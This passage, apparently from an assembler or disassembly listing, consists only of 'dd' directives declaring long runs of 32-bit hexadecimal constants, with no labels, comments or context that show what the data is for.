		dd 93F92D8h, 86817E5Fh,	9CE92F7Fh, 514D9509h, 7FCB7F4Eh
		dd 40DF1140h, 64BF3C4Bh, 8DE9BEB8h, 0EA691392h,	0B052C2Ch
		dd 67542ED0h, 182D1805h, 1AE92D07h, 2D387796h, 0A78054F8h
		dd 0E93F38DFh, 0F3404F38h, 5E6487Fh, 35336A29h,	0A5FE17ABh
		dd 0E00B04C7h, 2725B884h, 0ED977A79h, 0BD02B978h, 73C102D3h
		dd 6BA0E25Fh, 0FE3A801h, 6CD1A023h, 8D339450h, 208F2B78h
		dd 8DB27F0Ch, 1328BA00h, 0ACBE26B2h, 0DBE73F32h, 0E8B5AAFh
		dd 0BFA588F7h, 66132A02h, 5BC0E112h, 0F05F0502h, 3C5662DAh
		dd 5877CB7Ch, 0E8595A23h, 1905E036h, 730255Ah, 7098F62h
		dd 0AB4B7C51h, 2D56DC9Fh, 93AA189Eh, 1A55B382h,	0A1EF8303h
		dd 0C620E7C1h, 35A44F39h, 0D6E3BA11h, 13C76882h, 27114D7Dh
		dd 14B88618h, 7AC45501h, 273EC035h, 5C10DDCh, 0E913F229h
		dd 0B88BE017h, 336FE01h, 677D6843h, 91054736h, 0BA60B67Ch
		dd 86AF9612h, 4F0108DBh, 81060597h, 84A79C48h, 0CB46BDCh
		dd 7832E1AAh, 7FC11234h, 522C0BB2h, 13CF10DEh, 0FE16555Fh
		dd 0BB37C1E1h, 9217F25Bh, 10C77C54h, 0E344DE23h, 0CFBA0052h
		dd 8173DA3Fh, 83FBBF2h,	608A6E60h, 0E99585E4h, 0F3654A4Bh
		dd 16B11083h, 7F96E50h,	31CED0ADh, 0FC76D2EBh, 0D22D8979h
		dd 48452069h, 432780C5h, 0C114B5B7h, 0A51AE6E0h, 4CD72864h
		dd 0C2FA4F74h, 78D9665Ch, 68CF021Dh, 97F31E28h,	3BB8C850h
		dd 45C0B81Eh, 7E3338E1h, 85E8BF4h, 716AC5DEh, 48830585h
		dd 0C7A10096h, 12C626C9h, 0D1DFF709h, 648500E7h, 7B274721h
		dd 31E91729h, 0B84CB463h, 1F74721Dh, 208B688Fh,	435B76CFh
		dd 81E300D1h, 739EA5F3h, 0DC2FE9ECh, 0A8DCF147h, 41652071h
		dd 14F75013h, 41BC1488h, 0B0AD20ADh, 0B735DA40h, 0E62513F4h
		dd 0B2D783AAh, 52EEDC6Bh, 3B21DB06h, 0E76BBF0Ch, 9D1CC667h
		dd 0E93BEC5h, 3D2F0EB1h, 68F8841Ch, 0A98C4D88h,	3096B050h
		dd 0EF7F329Eh, 511D4A9Fh, 9CA80162h, 5EF70888h,	698622C1h
		dd 0C5847D67h, 0BBBC60E9h, 68C04EB9h, 1F542F75h, 488B5F9Eh
		dd 0A407AB7h, 0D73B0BBh, 0A52EC7h, 1A5A6874h, 630AB850h
		dd 8033C707h, 0BD072310h, 0CB40183Ah, 5A3DBD00h, 0D4BD156Eh
		dd 0AC491248h, 0F0B75A85h, 4BDDBE50h, 0AB26FF3Ch, 2FB460B0h
		dd 30621FD5h, 0F2CF8102h, 601C8D4Dh, 0E3470652h, 2C29F13Bh
		dd 9EBA4B36h, 1762344Dh, 61447DC0h, 837A4895h, 831EA220h
		dd 0AF3E02C3h, 0A5B2AB85h, 8FEF5E59h, 0D1904EA1h, 5882502Bh
		dd 0E2017E6Ah, 32D85E92h
		dd 830EBA42h, 0E90D3D01h, 536E6B6h, 0EE1DDDBAh,	73AAA86Bh
		dd 12A9C25Fh, 0D2400896h, 0C3DA5E1Fh, 0B800C11Fh, 0E58EE504h
		dd 0C125EB35h, 4F13F8C6h, 0B04DF808h, 4FDC2DFAh, 0D831BB2Bh
		dd 3EA56EE6h, 0B0E3E59h, 51688231h, 6AE9010Dh, 70BE2AFDh
		dd 508E89Bh, 0F144E40Ch, 0BCB0A0Eh, 0EA81F094h,	225329FDh
		dd 1A86A0B6h, 0F7583A57h, 1C2787ECh, 0A443FB6Ch, 1FC30CC8h
		dd 107EA19h, 0C17E4C63h, 0BC09956Ah, 88147DC2h,	197BBF8h
		dd 17A368DBh, 64316188h, 41B2BF01h, 412F4624h, 1351034Bh
		dd 0F429202Ch, 0CEF4345Bh, 0EC5F130Ah, 0DAF4AA7Ch, 68561D51h
		dd 44CF0F23h, 0EB8B8985h, 76F60A32h, 272A2C51h,	217FED4h
		dd 6B452E01h, 0BF3B57DDh, 0C5DC7743h, 0C0EEECF0h, 0E9CF0121h
		dd 9B977B73h, 746BC987h, 72CC492Ah, 0D3C38D8h, 2C33381Dh
		dd 840B7835h, 90CD5843h, 2D8C4054h, 3F49110Fh, 565A4942h
		dd 0B87FC740h, 0F7D1290Bh, 7C287710h, 0C250F4B4h, 8B1D2F5Ch
		dd 55271FFCh, 57018D07h, 0D761A4E9h, 0A3D262ADh, 0B01CAEA0h
		dd 31176A69h, 0CF525FFDh, 0B5405BA8h, 7A2003D0h, 72D4E97Bh
		dd 0A2E7ED24h, 75F34212h, 0B4413913h, 66A105E4h, 43CB7E5Ah
		dd 455FC269h, 22FC2D8Eh, 0F4072A42h, 0DC107288h, 0C49F08D9h
		dd 25FEBCAEh, 0F2021FFEh, 0E1D58883h, 38FCEAB9h, 120FB9D7h
		dd 0DB52FEEBh, 6A186CC2h, 6340DF5Dh, 9B0B7BEAh,	9D78962h
		dd 806460A0h, 29B078F1h, 80F61757h, 8520D3B9h, 31FD4123h
		dd 0C51CA585h, 6013A808h, 68C71F15h, 0AEA1ACADh, 0E92FC2h
		dd 0C866E712h, 89255631h, 97D0F8FEh, 3793BAD3h,	3C88A0F9h
		dd 0B15B2B4Ch, 3196A2A1h, 6CC0B450h, 0C58000AEh, 0DDF62E01h
		dd 58AF3E0Ah, 0C71D955Eh, 2EFC047h, 0E912DFE5h,	0D6F76A47h
		dd 6C954F72h, 9559F20Ch, 270BB2E4h, 1574D08h, 2E380BEFh
		dd 5B46002Eh, 0E9DC8CEFh, 12103A49h, 10A885Ch, 84C9FD01h
		dd 0A1AC590Ch, 3B60C29Ch, 4FC01CCCh, 0C93E509Ah, 0EE93F77h
		dd 0AA1FF91Ah, 0F789AB2Dh, 48EC0AD1h, 5705C9A7h, 25689E34h
		dd 38E50A11h, 68E3F92Dh, 0D60E0BC5h, 493B5268h,	29637009h
		dd 81008FEh, 5FE0E904h,	89BBE9AAh, 0AE677701h, 588DB1A7h
		dd 99E4A654h, 0CA2D59DBh, 4A227104h, 0F571B06Fh, 1278760Bh
		dd 0CECBFD20h, 0A01454A9h, 802FCC3Fh, 476720B1h, 481E1719h
		dd 0A6647F09h, 0DA3103E1h, 0D7682043h, 0F3B95795h, 0DE8C3B02h
		dd 0EF825AC9h, 0CCB31667h, 0D9172E79h, 41083032h, 0FB0BC981h
		dd 747CC522h, 302D0024h, 1CF9E970h, 0D9B009B2h,	2F27A720h
		dd 0E070B9BAh, 245CF6B5h, 0C3E1DD5h, 0C5F60110h, 685A08A0h
		dd 84A93369h, 83ADDD4Dh, 7320D8D0h, 25217CBFh, 54C9D2E5h
		dd 234DE2C4h, 5DA8127Dh, 5DF4BB64h, 0CA7AE389h,	32E41056h
		dd 0EBF58000h, 0D059EC28h, 535090E7h, 6BBE6809h, 0B80C0F46h
		dd 5E562542h, 352B4177h, 48B12AB2h, 7F70F37Fh, 0C492774Dh
		dd 0F5BF5759h, 0F8DC8218h, 54B3B97Ch, 8078BAD2h, 0A598F701h
		dd 5B204A4Bh, 3B83BD55h, 5A7F7D74h, 0E9D890DDh,	53DF93EAh
		dd 18EFB300h, 58F901A3h, 0CE12175Fh, 0EBAF543Eh, 0E38CF38h
		dd 0F75A8A62h, 2D70FB55h, 388014D7h, 0BE4B5606h, 5FE944D8h
		dd 2987F983h, 0EDACD481h, 72F30717h, 0FA12D913h, 1AFAC831h
		dd 859AA26Ah, 76EB2325h, 10FCFB93h, 45845716h, 8E0545B8h
		dd 17C5665h, 372A73C9h,	0C2E26AD1h, 9584B1C5h, 9A94FE94h
		dd 0E5118B16h, 130A5698h, 68F859CEh, 22203DE1h,	985004D3h
		dd 9CC0FD53h, 587E691Fh, 8A60D008h, 749D6CBBh, 0FC640504h
		dd 80AE93E0h, 0D8315A81h, 232B8FBDh, 61BB616h, 8B0523C6h
		dd 9539580Eh, 31158920h, 0E98610D6h, 7AC96571h,	3F05E1B2h
		dd 90B13107h, 0D259CB03h, 352648ADh, 8A431DCEh,	53BF431Dh
		dd 98D00B9Bh, 0BD5A66E2h, 0C8A1F312h, 607628C4h, 743D0C06h
		dd 29257FADh, 3ED478E9h, 698046F8h, 2C32C5B8h, 0E82D3116h
		dd 2D60725Dh, 0D75209A4h, 0AF25B47Bh, 0BE65DF22h, 7B413580h
		dd 0AE50936Ah, 68580A0Fh, 0C2D716B9h, 0B0D9418Dh, 1E85449h
		dd 4CB43EB1h, 21F87F28h, 26D4F6C7h, 530708DCh, 0F3805AB3h
		dd 5BA52847h, 0F97CE0FBh, 2F5F2CECh, 0A474EEA8h, 0E08EF021h
		dd 0B65200D8h, 8EEC0A1h, 7A0BF680h, 1047D5E9h, 27740C15h
		dd 487439C9h, 2B1B9289h, 10B35CD5h, 575A0423h, 8094B068h
		dd 9D77182h, 30337877h,	0D911F905h, 0F4022D5Bh,	1630A30h
		dd 210442C8h, 595AD008h, 5C45E020h, 3494DE6Dh, 9B4CEE02h
		dd 5E774069h, 25350142h, 962CC966h, 0D65D0FB4h,	5339FE89h
		dd 8DF8270Eh, 4F70875Ah, 0E4DA8852h, 4BCEB0D0h,	35D9AE5Eh
		dd 0FA7E247Fh, 9825F7A8h, 1CBBD940h, 1484D699h,	24EE4619h
		dd 8B0804ECh, 681BD303h, 4CD57FE2h, 3FE9157Dh, 0C53BA764h
		dd 2907D792h, 5076EC05h, 28EE17C0h, 0F7A03D89h,	22778F2h
		dd 8E2447B0h, 0E684522Ch, 4FC0FFB8h, 58081BC6h,	4612AAF0h
		dd 3F2BEE5h, 9842BF93h,	0D67D516Bh, 0B067C571h,	81045849h
		dd 15B2C2F1h, 8C06D5C1h, 3BBF6800h, 2F37EFB5h, 0F4C55F7Ch
		dd 522F70F1h, 9DFBE722h, 0CDB2AB56h, 0D2E5C04h,	0C420AA5Ah
		dd 3F3A76B7h, 0E7934765h, 8561E002h, 75A88E2Fh,	0E916FD16h
		dd 8D24BDB6h, 1F2A3AAh,	345278C3h, 88DA010Ch, 0E22608E1h
		dd 0DC414111h, 134B2E3Ah, 9E20345Eh, 4F921D73h,	0E214C719h
		dd 82096A53h, 0C62E0D45h, 0A6DCB7A7h, 0DD762989h, 13D226B3h
		dd 594C7370h, 8DE24F95h, 5457E9A1h, 1216A9D1h, 0D2CC21A5h
		dd 110362C9h, 9FD5EF2h,	0C0E7D55Bh, 561060A6h, 11A0BA00h
		dd 0D1B94B52h, 98874614h, 41B80ED3h, 7E292F50h,	5F08E914h
		dd 0C25A829h, 55B1E407h, 6F3D91h, 4EF2D1Ah, 0CA9620E5h
		dd 40EB0720h, 3096E914h, 52642B9Dh, 4A1B9838h, 0BFFE1327h
		dd 7C5413DFh, 65791A75h, 32F2AA52h, 0E1D14113h,	5FE53BFh
		dd 0A8F35843h, 0ACFB2E65h, 7701DF0Bh, 688BC0E5h, 39A4FD69h
		dd 666EF1CDh, 7A68092Eh, 80019A05h, 0F849CE0Eh,	56BB043Dh
		dd 85C207B6h, 0BE4FD46h, 5BE20FE9h, 0B5AB2093h,	2583709h
		dd 0D878F1B5h, 4054BBE9h, 5C04F59Eh, 3111C975h,	0DA388AAh
		dd 80FD5B4Ch, 33BA773Fh, 0B7DA9831h, 50422F5Eh,	0A787CB57h
		dd 90914B76h, 0B19E014h, 0CE89B9D5h, 3DC28BF9h,	803005DAh
		dd 1DB551ADh, 5EF58016h, 6D71850Ah, 72685060h, 49349B1Eh
		dd 8C76C9FEh, 22E630A2h, 39E4EEB5h, 7D50F524h, 35308305h
		dd 10EFEE85h, 5E240857h, 0D454E9AEh, 9C3A5571h,	0D3675CA4h
		dd 0D44E9B6h, 72CBF5D2h, 4F093020h, 4B450F1h, 240A8858h
		dd 96AFF4E2h, 9309176h,	0A4EE3E7Ch, 33E88324h, 0F9759009h
		dd 0A48EEA09h, 2790E2CCh, 15CE10DFh, 66732F67h,	1C62A7F6h
		dd 7AD65DA5h, 2069F15Bh, 0A740B939h, 0F1B802F2h, 5EF08993h
		dd 785562D5h, 3540001Ch, 2794309Fh, 832CE948h, 7EA6B349h
		dd 7E26322Ch, 0B2C7F381h, 0DB61695Ah, 0DF2CACF4h, 0C5DC25EDh
		dd 4F18E4BFh, 0FB2D30AEh, 20E50871h, 2913B185h,	2AB42EB0h
		dd 61FD7687h, 0E66808D7h, 61316F0Dh, 0B0052A4Bh, 4F7FE84h
		dd 3687981h, 0C6F3F5C2h, 0A614D082h, 43F8F51Dh,	0C706E16Eh
		dd 0E5934903h, 0BA2A4B36h, 2AD42E93h, 2CAA5A55h, 0BA75453h
		dd 8A5EB6EAh, 0DCB5C272h, 0C0CC2502h, 0CC97A297h, 0E662AB1Fh
		dd 2FF3B3E9h, 0E5A77BD4h
		dd 8252E428h, 0C7DBE58Eh, 372F0A7h, 53525BBFh, 0BB95C788h
		dd 95BF6B64h, 5AEB0EE4h, 35E1FB52h, 76E568C8h, 0E9C9C57Fh
		dd 0D5AA5F17h, 548A5E8Bh, 49394B2Ah, 43FF68CFh,	1B522712h
		dd 0E9F01272h, 0BED0C0C3h, 333D3E8Ch, 73F7241Fh, 4AB0FDA5h
		dd 0D8823B1Ah, 0AC350B38h, 9A58013Dh, 5BD97D49h, 0A83AC9E1h
		dd 0DD5F2FFBh, 0E9179694h, 8D44AB3Eh, 0BB52782Eh, 546EF0A0h
		dd 1FF7BA36h, 7D8F7AE2h, 0B9271896h, 0D84D89C6h, 4CC59805h
		dd 4400C356h, 6835CF3Bh, 2BAA62BDh, 6F30D680h, 0BAFA1995h
		dd 91F9D717h, 0AFF405AEh, 97EDA390h, 0EFA040AAh, 1185E901h
		dd 252A9697h, 75E6A268h, 1A5DB801h, 592D4F4Bh, 21E90B86h
		dd 0C25A6718h, 949010EBh, 9F1CEA5Ah, 36CF02AFh,	98FCEC57h
		dd 46812DD6h, 7F3D4B5Bh, 0C4789148h, 65A073B6h,	0FE741DEEh
		dd 36CE4FC6h, 327BFC1Eh, 950619EBh, 0AE864BFFh,	3771F706h
		dd 147DFB2Ah, 0EF14243Bh, 0BD5E6CCAh, 96BC4FDEh, 9E15D281h
		dd 92D36B63h, 6800D4B9h, 82D5E9Ah, 89CFAFBEh, 9C79DDDCh
		dd 0C8186A80h, 0D7DAF746h, 2700EB04h, 5C3F4450h, 0ADFE9F2Dh
		dd 4347E906h, 0BC094A5Ch, 0F7F60248h, 55405F1Dh, 3D9B69E0h
		dd 51FE5781h, 0BD2D4073h, 5448B80Ah, 573C7B69h,	51198B55h
		dd 590B5560h, 34D58492h, 0DEE92715h, 0B54091E2h, 0F197B2EAh
		dd 0B5566969h, 0E4FDA7E2h, 7197061Fh, 364350C8h, 0DB49F10Ch
		dd 177B0C67h, 0E8475C44h, 73ED4AD0h, 329FAB1h, 0AA521D5Dh
		dd 0E285F3Fh, 241C0EFDh, 0A2542E2h, 0A25AD8DCh,	1F4D40h
		dd 0F52092B6h, 0C59FC097h, 0B1EBEE68h, 0D3DE6FE3h, 9890EB79h
		dd 3D1E73B9h, 0DC126AC2h, 0D57A2035h, 544B8447h, 52D172BEh
		dd 8957D1DDh, 0C8F888E9h, 4EF93139h, 83E094BBh,	534BDC0Dh
		dd 0C27E5FFAh, 52BE68DEh, 0CE0CC24Ch, 0D20B320Ah, 45BDBCBAh
		dd 0B338C759h, 0C1195314h, 680665EEh, 1D947A90h, 9ACB7EB4h
		dd 131C94B5h, 0B3703068h, 61D434EBh, 0EF92EDA6h, 589D88B3h
		dd 96F661B6h, 0BE8A9C13h, 0F877B0AFh, 0A0887998h, 0EC50EA80h
		dd 0C91DB0E0h, 589EC208h, 886CF2C1h, 89705AD1h,	6FE912FBh
		dd 0EAB5491Ch, 0B579187Dh, 62DDFE11h, 60DEC544h, 0A959490Fh
		dd 0EC09DFABh, 0A7764907h, 32C8DBBBh, 5080A967h, 0C3F2E557h
		dd 0CE97143Ch, 0C93D9D8Ch, 0CD2FE798h, 5F0E10E3h, 5C683ACAh
		dd 4B9469F7h, 0CB93580Bh, 0D20BEA9Ah, 9E5F975Dh, 84214F44h
		dd 778BAA2Ah, 7A88B72Fh, 303709A8h, 72972464h, 0E2F5EB63h
		dd 0AC2E1B6Ch, 7E542D3Bh, 0ADE47CA5h, 4EAE9E6Dh, 87448944h
		dd 0F4590B46h, 0F0680E3Eh, 1168EEB7h, 0F8464BDCh, 3EE9A50Fh
		dd 992CB441h, 16E9BC7Ah, 0FCFAA429h, 5A52BB40h,	0D2C95FBAh
		dd 0A8F7ABD1h, 0F7735D2Dh, 31BEB393h, 0D754A07Eh, 62F381D8h
		dd 2E5F4C00h, 4398C2BAh, 9260B76Bh, 5A4AD021h, 0B276D5A9h
		dd 580BBDAEh, 5EFA9677h, 811900ECh, 7C2EE1CFh, 27E4424Bh
		dd 0A76902F7h, 0FE091139h, 0AA2C057h, 5C27050Ch, 8202E3C1h
		dd 470A24A8h, 65EF1012h, 6E1D0905h, 0AF8234D9h,	5F31A31Ch
		dd 9800C153h, 0E917E030h, 12E5BC69h, 0A47FA866h, 5840382h
		dd 0A93DEA5Ch, 106AFD6Bh, 51280794h, 0F1AE5AC3h, 0F6942D18h
		dd 1C7CB774h, 0FA30AB68h, 9E4B09ADh, 0F657039Dh, 0FBFFFFB4h
		dd 0FC9FDF9Ch, 316152D7h, 0AD463412h, 4E4A1DECh, 0C6806BB2h
		dd 18134156h, 0AE0F2898h, 80017D50h, 84578ACEh,	0F8E91319h
		dd 0F288BC44h, 29AE683Fh, 0AB459DC8h, 0B9F91D93h, 31DA6786h
		dd 9893709Dh, 6BEC0CFDh, 5B7602A3h, 0D69595E2h,	0BE80B9D3h
		dd 0E9E1EAADh, 3CC9AC7Ah, 2AFF35Fh, 47863E05h, 0A04E80DFh
		dd 160DC40Ch, 0E971F1E9h, 0C241270Eh, 6001D985h, 4D442F68h
		dd 0E91359E8h, 0F6F2A3F9h, 0BB9A7A84h, 522B848Ch, 0A9482239h
		dd 0F2E9521Ch, 0CEB053F1h, 0CFFCE8B2h, 560A3BBAh, 917C3E68h
		dd 30EF2F93h, 0F6A2E99Fh, 4BDF109Dh, 0F06A5EDEh, 0D39AF594h
		dd 97C9CB7Dh, 2151A05Dh, 2255EF0h, 5C60126h, 45DE0C1h
		dd 27FF3129h, 56D882D5h, 55586BC6h, 9F844EC1h, 0E17DA8FBh
		dd 546B0629h, 0F91E4F97h, 8B5DED81h, 0A8D2D954h, 7F4B814h
		dd 981B63BFh, 2635A34Ah, 28F1B71Eh, 0D7594B89h,	93D01320h
		dd 41BFB6AFh, 883B423Bh, 0C49D5259h, 5B5148B2h,	0D6F75EA0h
		dd 55E1169Dh, 2D30A6EFh, 0D3F7800Ch, 0CB0990B8h, 2C16069h
		dd 0F173210Ch, 249809B0h, 5E82E071h, 4061D653h,	245C55BCh
		dd 3C5762D3h, 9F08EB28h, 30671C8h, 0C29BB69Fh, 7295E90Ch
		dd 7B625254h, 0AD46452Eh, 0A8684325h, 71BA4A55h, 6416E94Eh
		dd 0BF132D98h, 3509A460h, 265DF01Bh, 0EE95F55h,	0D3DD0DE7h
		dd 0D13C0134h, 3B2D8A06h, 17E90AC0h, 207D979Ch,	5B42044Bh
		dd 0A055950Ah, 0EC957B1Fh, 4ACAA90Dh, 0FF03EA11h, 3651EB98h
		dd 0DA186366h, 62B0942h, 0E9D6559Bh, 0D7209F0Bh, 7C245015h
		dd 62D3DC2Dh, 0FE7612C2h, 2DF6C6DAh, 0DB83DEE9h, 80045F54h
		dd 2AFC1407h, 85032882h, 0E1AAC706h, 405E9731h,	0A407D3B9h
		dd 0B2121A28h, 0EB0804F2h, 0EFD2CC03h, 105ED980h, 96BBA37Ah
		dd 0DDA2DFA8h, 0C3CFE957h, 0A3A4AD2Bh, 0EDAFD47Dh, 2769D1D0h
		dd 43EC55D2h, 0F991544Fh, 4D89432Dh, 308253E5h,	29023815h
		dd 490EEEEBh, 680B3066h, 83EC27AEh, 0C108B390h,	37F1F12h
		dd 71FC7515h, 7D27E6B0h, 649902Ch, 8F4EAE00h, 0BDDEF74Dh
		dd 0E989CA79h, 68A0A1F6h, 158966E1h, 155E5017h,	209E4C7Ah
		dd 455AFD57h, 43681642h, 9724C2Ch, 749F3259h, 702D775Eh
		dd 8EB179Dh, 823F014Bh,	47579B07h, 87B070B6h, 0DD4E29AAh
		dd 0EF3DD7AFh, 50E33112h, 80F16AB4h, 6AE3F5h, 28E6B5EAh
		dd 569759EBh, 0D8B47827h, 0A57CFB9Fh, 254F36DDh, 0DDA0B6E9h
		dd 65E017C6h, 9EB524Fh,	0E281DF78h, 0EEF83608h,	0E07D458h
		dd 29FCE72Fh, 483AE9F1h, 71B1548Bh, 0F52D70F6h,	0FC51A9B9h
		dd 0E148C019h, 0D65F2518h, 9D4C2A1Fh, 82DB9BF4h, 488683C3h
		dd 9930AB80h, 0D72F1EEBh, 0EE105D77h, 7D696FD4h, 2909FBD3h
		dd 67C4D03h, 20E643E9h,	0DEE05B5Fh, 1E597FF8h, 5E972C15h
		dd 520F7AC8h, 0BE57B050h, 2E862305h, 5FC9EEA8h,	2781CD00h
		dd 35353299h, 0B2EA0B85h, 3E90B37h, 0C31968EDh,	0D3BE8022h
		dd 6658D798h, 0E741A65h, 112A41ABh, 49A4CB55h, 22F50681h
		dd 0C23AA310h, 1967931Eh, 5EEA29C9h, 0E9F258F0h, 44F8BB30h
		dd 325943B8h, 2C661C3Ah, 25235F6h, 5195C0E5h, 55B3019Fh
		dd 0C118C180h, 0D62E31D9h, 0A3C89285h, 665203FAh, 4D655C68h
		dd 8A5EB520h, 0A305B35h, 0D64275E9h, 749BA428h,	2DB80516h
		dd 6EBCD153h, 1079A1h, 934FBF68h, 619302BAh, 82606D7Bh
		dd 0AB3B0E7Dh, 0C2E3032Fh, 36DF4Dh, 67DDF818h, 0BF08E9B8h
		dd 417B4C9Dh, 72A83089h, 0EF188A82h, 3FC6973Ch,	0BDB530EFh
		dd 7A276EBAh, 82DC2Ch, 0E3CD814Dh, 104EFF3Ah, 0EAE93980h
		dd 0E92FE12Bh, 0A975CBD3h, 0F0F37F2Ch, 0C229DFEBh, 0BB74D1D5h
		dd 0AEE8E0DBh, 66066A16h, 7BB10FBh, 0C4E95E04h,	0B02F8835h
		dd 0E3D015Fh, 662A7429h, 97494D6h, 26F0FCE9h, 77A5C993h
		dd 0BB5C366Ch, 0C83984ABh, 1652B2EEh, 12FB5B70h, 0EBF917FDh
		dd 0EF2FFE2Dh, 0ACBC6464h, 578DFFD2h, 27216A61h, 0A92F6A61h
		dd 0DB247ABDh, 0C88B501Dh, 0EF0FD559h, 16E7D566h, 0D32D9536h
		dd 0BD5C9F0Ch, 0B419F501h
		dd 0FCDC13B0h, 12EE2540h, 7825A58h, 681B215Fh, 0E90169E2h
		dd 2F512565h, 75D804ADh, 43944E87h, 0B4DF0549h,	0BF2D04A0h
		dd 193DE7F4h, 0DEC50C41h, 0D707892Ch, 0E42EEB56h, 53BB093h
		dd 0F30E3801h, 2DD00103h, 67BA0744h, 6355C96Fh,	0AA464AD7h
		dd 35E9E302h, 787D91Eh,	0B420478Fh, 0B313FE4Bh,	5D4806B6h
		dd 3E7F417Ch, 995D301h,	0B52E030Bh, 40805BBh, 12560228h
		dd 3821A2BEh, 0D77C4184h, 0F7825C53h, 956268F9h, 63642156h
		dd 0AD03CEE8h, 0DC591005h, 471950DFh, 57F44E2Dh, 80FB452Ch
		dd 49E9D804h, 0C24B19BDh, 8BD0F4ABh, 0E53525FFh, 1209F370h
		dd 5C55515Dh, 0BD0B1648h, 6EE50379h, 0B014D532h, 302CEBEDh
		dd 20C6AE1h, 9485706h, 350179DDh, 0BAE93E83h, 277BFF19h
		dd 0CEA94939h, 0BD30BFF0h, 2B91EA7h, 38261A6Dh,	72401A49h
		dd 5137336h, 8FADE954h,	5F486809h, 51881B51h, 0EBBA122Dh
		dd 0D6291081h, 416A59F1h, 88A0C65Ah, 0CB9BFFF1h, 0CC6982E5h
		dd 84826FC2h, 296E249Fh, 527ACAC0h, 63E93BADh, 5B7197Ch
		dd 0C480B2D1h, 0FE3F9FF2h, 3C4498CAh, 39A8F135h, 8ACC905Bh
		dd 0CC05EB4Bh, 0C8AFCB29h, 0F6FC461Bh, 89CD0809h, 0F14E81B6h
		dd 35217043h, 0F37F55F5h, 14C812EAh, 13F4A90h, 290B256Ah
		dd 0ACA6655Dh, 68030289h, 6DF5272Ah, 68602DEBh,	20121E85h
		dd 8FA5E29h, 67004E14h,	0E976A3BCh, 76DE9AE7h, 3DEC2653h
		dd 0E8C196B2h, 0DCF74FEAh, 0B5271650h, 522A394Fh, 1D90720h
		dd 555D6851h, 6E597549h, 0B3E0CF0h, 0A3E94DB6h,	48BAA970h
		dd 1307A73h, 0B2CEA439h, 659270Fh, 0B5C64E55h, 5CA736F1h
		dd 0E6D10970h, 250F5C70h, 56238A61h, 54D75FAh, 6505697Eh
		dd 0F48ABE5Fh, 0E2CE5C26h, 0F527ACC6h, 12E2E4F3h, 425DEBE8h
		dd 73C53483h, 0D03AB1FEh, 96975B08h, 846F5E06h,	4E31EFD9h
		dd 0B900CBCEh, 0B3013B78h, 0FE13BD6Eh, 0D4FC011Eh, 0EB1ED292h
		dd 0A560E929h, 0B8DD582Ch, 0AEEEC627h, 8933089Fh, 0FD9DE420h
		dd 64BD0C9Ch, 393C44CDh, 0A295FE71h, 5D546845h,	828B50D1h
		dd 0A7F9D3ACh, 0E4C1075h, 2C5921Ah, 0EA0837F5h,	7E7B5159h
		dd 0D2F60104h, 7736AA92h, 47D7CF09h, 10CB247Eh,	7813B8Dh
		dd 0E7A3D050h, 0DA2053B2h, 683C122Dh, 8844EE66h, 0F1B95808h
		dd 3056B007h, 221AB2C7h, 0FDC3CE5Fh, 82962670h,	0A459D45Dh
		dd 0BDB10ECh, 455505Ah,	93E19DC3h, 0D3BD1080h, 0B809C42Ch
		dd 0FA4ADD0Ah, 83C2E85Ch, 95E10FBAh, 0E9B07AF0h, 0B4E581E0h
		dd 66E32851h, 626C4820h, 0FD7EB53Ch, 0B292BB8Ch, 58D1AF40h
		dd 761033E2h, 8ABA02F3h, 616528E8h, 21057CD0h, 6BB5482Ch
		dd 0FAE8DCD9h, 4964BC15h, 2180017Dh, 4B771C6Fh,	172CB848h
		dd 0A825BB45h, 0AD365B0Bh, 0C5B3E92Ch, 68504AACh, 0F31B972Dh
		dd 2F12A0C1h, 32591830h, 833A121Ah, 806F04EDh, 4168035Dh
		dd 580BA820h, 0D36F0935h, 9484F494h, 78CEEA21h,	0D96523Fh
		dd 0C60AB41Ch, 9C10703Dh, 0FF794E50h, 5BB6CA49h, 29B4DF4Bh
		dd 0C6895712h, 45A2AB75h, 0ED680500h, 71BE348h,	7C792CB3h
		dd 44AB26D5h, 12DE478Ch, 99B571AFh, 0AAE544FCh,	0D0F775C0h
		dd 4DD90F25h, 1CE566D5h, 0EFDC35C3h, 55199749h,	0F0AF9651h
		dd 0D6DE95D5h, 4A9CE970h, 2FEFCD81h, 67C7C2A4h,	72F1B902h
		dd 1C49D7F0h, 0F6912BCAh, 0DD51213Eh, 0FB78386Ah, 51F568B0h
		dd 0B40BDAACh, 47DD115h, 9B10BA6Dh, 2C05C150h, 3874C56h
		dd 7B699079h, 6EA3F8D9h, 4710BB8Ah, 0C9592F92h,	17A38DCh
		dd 7D27BE65h, 427520E4h, 71FE734Bh, 34611006h, 5B25D8F6h
		dd 5D8A7505h, 0C8F92FB8h, 0CDBB8EC5h, 99BFE05Bh, 0E32C0592h
		dd 0D702D907h, 0E943D1DDh, 17AE192h, 66AE04EFh,	0A484205Bh
		dd 0F07B1A41h, 0E6008130h, 6FC47E0Dh, 0BC6BA52h, 936B91Eh
		dd 609E27Eh, 65D5F6FCh,	415A89C2h, 6AC695E9h, 0B25B54B3h
		dd 89497EB7h, 90680ED3h, 0D6620977h, 0C40C27Fh,	2F08CC7Dh
		dd 17E67EEEh, 0EB0BA09Ch, 254F4572h, 549D4016h,	0B2124999h
		dd 127485Fh, 0B163B0FDh, 20242489h, 4390B7C8h, 0F6178205h
		dd 0F609FAB5h, 27587212h, 94F76735h, 4D31FAE7h,	8F08A74Fh
		dd 77243042h, 3D2C912Fh, 3F64D0CCh, 78AEDF21h, 1B49732h
		dd 0B658E1E2h, 3ACEC1F3h, 0FFF40EE8h, 3026352Bh, 0A3E0829h
		dd 4E93040Eh, 2CD80711h, 807CD149h, 0C5806AB5h,	0D55A86FFh
		dd 224C8EADh, 1C5F427h,	0B9A32526h, 0CAAA5E93h,	2399178Ah
		dd 224530FFh, 115BF24Ah, 37AAAE12h, 650ECCE5h, 0E82FDD02h
		dd 5D75EBE9h, 68C10251h, 4B3209F0h, 54778275h, 0A1004B1Ch
		dd 4A1C423Ah, 0EA7FE93Eh, 0D38CC423h, 0BEDD5C7h, 286210BDh
		dd 1BDE81D7h, 0F5217EBFh, 5A57B2E4h, 104DBD01h,	8826E1A5h
		dd 0EC62133Bh, 8DDE4F10h, 60D9EB4Eh, 814C5A30h,	0C0FF7052h
		dd 68391D1Fh, 46C6AF39h, 0C56A97E0h, 0D46CD3DCh, 0B750037h
		dd 0F79BE40h, 0F6BD0203h, 0BCF5253Dh, 0B066BF9Eh, 9C0E4D24h
		dd 2D5DE885h, 0A21271B2h, 9839FB82h, 12DFAC2Eh,	6402F9A3h
